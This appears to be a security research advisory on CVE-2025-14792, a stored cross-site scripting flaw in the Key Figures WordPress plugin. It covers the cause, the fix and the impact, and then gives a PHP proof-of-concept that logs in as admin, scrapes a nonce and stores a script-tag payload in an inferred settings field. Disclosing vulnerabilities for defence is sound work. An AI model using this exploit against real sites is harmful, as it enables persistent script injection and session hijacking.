Atomic Edge analysis of CVE-2025-14792 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Key Figures WordPress plugin. The issue resides in the `kf_field_figure_default_color_render` function, which insufficiently sanitizes user input before output. Attackers with administrator-level access can inject arbitrary scripts that persist in the site’s pages. The CVSS score of 4.4 reflects a moderate severity, tempered by high attack complexity and the requirement for admin privileges. The vulnerability is only exploitable on multisite installations or sites where the `unfiltered_html` capability is disabled.
Atomic Edge research infers the root cause is a failure to apply proper output escaping. The CWE-80 classification indicates the plugin likely echoes user-controlled data containing HTML tags, including script tags, without using WordPress functions like `esc_html()` or `wp_kses()`. The description confirms insufficient input sanitization and output escaping. The specific vulnerable function name suggests the flaw exists within a settings or field rendering callback, potentially on the plugin’s configuration page in the WordPress admin area.
Exploitation requires an authenticated attacker with administrator privileges. The attacker would navigate to the plugin’s settings or figure management page within the WordPress admin dashboard. They would then submit a malicious payload, such as `alert(document.domain)`, into a form field handled by the `kf_field_figure_default_color_render` function. Upon saving the settings, the payload is stored in the database. The script executes in the browser of any user who later visits the compromised admin page.
Remediation requires implementing proper output escaping. The plugin should escape all dynamic data being rendered in HTML context using WordPress core functions. For the `kf_field_figure_default_color_render` function, this likely means wrapping the output variable in `esc_attr()` for HTML attribute contexts or `esc_html()` for direct HTML output. Input validation should also be strengthened, but output escaping is the primary defense for this CWE.
Successful exploitation leads to stored XSS. An attacker can execute arbitrary JavaScript in the context of an administrator’s session. This can result in session hijacking, site defacement, or the creation of new administrative accounts. In a multisite network, a compromised super admin could potentially attack other sites within the network. The impact is limited to confidentiality and integrity loss, with no direct effect on system availability.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14792 - Key Figures <= 1.1 - Authenticated (Admin+) Stored Cross-Site Scripting via kf_field_figure_default_color_render
<?php
/*
* Proof of Concept for CVE-2025-14792.
* This script simulates an admin user exploiting the stored XSS vulnerability.
* ASSUMPTIONS:
* 1. The target has the Key Figures plugin (<= v1.1) installed.
* 2. The attacker has valid administrator credentials.
* 3. The vulnerable function `kf_field_figure_default_color_render` is called from an admin settings page.
* 4. The exact form field name and nonce structure are inferred from common WordPress patterns.
*/
$target_url = 'https://target-site.com'; // CONFIGURE THIS
$username = 'admin'; // CONFIGURE THIS
$password = 'password'; // CONFIGURE THIS
// Payload to inject. This is a simple alert for demonstration.
$xss_payload = '<script>alert("Atomic Edge XSS Test: "+document.domain);</script>';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Fetch the plugin's settings page to obtain a nonce.
// The exact page URL is inferred from the plugin slug.
$settings_page_url = $target_url . '/wp-admin/admin.php?page=key-figures';
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);
// Extract a nonce. This regex is a generic pattern; the actual nonce name may vary.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
echo "Could not extract nonce. The page structure may differ.n";
exit;
}
// Step 3: Submit the XSS payload.
// The parameter name is inferred from the vulnerable function: likely a field for 'default_color'.
$exploit_url = $target_url . '/wp-admin/admin-post.php';
$exploit_fields = [
'action' => 'update', // Common WordPress admin action
'_wpnonce' => $nonce,
'kf_field_figure_default_color' => $xss_payload, // Inferred parameter
'submit' => 'Save Changes'
];
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$exploit_response = curl_exec($ch);
// Check for success indicators
if (strpos($exploit_response, 'Settings saved') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302) {
echo "Payload likely injected successfully. Visit the plugin's admin page to trigger the XSS.n";
} else {
echo "Exploit attempt may have failed. Manual verification required.n";
}
curl_close($ch);
?>
